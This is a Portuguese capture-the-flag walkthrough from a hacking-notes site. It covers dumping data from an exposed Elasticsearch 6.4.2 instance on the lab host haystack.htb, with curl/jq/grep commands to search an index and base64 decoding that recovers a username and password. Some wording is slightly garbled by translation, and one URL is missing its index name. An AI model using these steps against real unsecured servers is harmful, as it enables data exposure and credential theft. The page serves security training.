> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/ports-and-services/elasticsearch-9200.md).
# Elasticsearch - 9200
Enumeração de índices do Elasticsearch, revisão de exposição de dados, filtragem por palavras-chave e recuperação de credenciais em base64.
{% hint style="info" %}
Elasticsearch é um mecanismo de busca e análise em tempo real usado para indexar e pesquisar rapidamente grandes volumes de dados. Ele se integra à stack ELK para fornecer recursos avançados de visualização e análise de dados.
{% endhint %}
### Elasticsearch - Vazamento de informações
#### A porta 9200 hospeda o Elasticsearch versão 6.4.2.
Acessando o `/_cat/indices?` A URL retorna uma lista de índices com seus UUIDs. Para extrair o conteúdo de um índice, use a seguinte URL:
`http://haystack.htb:9200//_search?pretty=true&size=1000`
**Filtragem de Dados com Curl**
Usando o `citações` índice e filtrando pela palavra-chave do desafio, informações relevantes são encontradas:
```bash
curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave"
```
**Decodificando Strings Codificadas em Base64**
Duas strings codificadas em base64 são recuperadas. Decodificá-las revela as credenciais:
```bash
echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo
echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo
```
**Usuário:** `security`/ **Senha:** `spanish.is.key`
---
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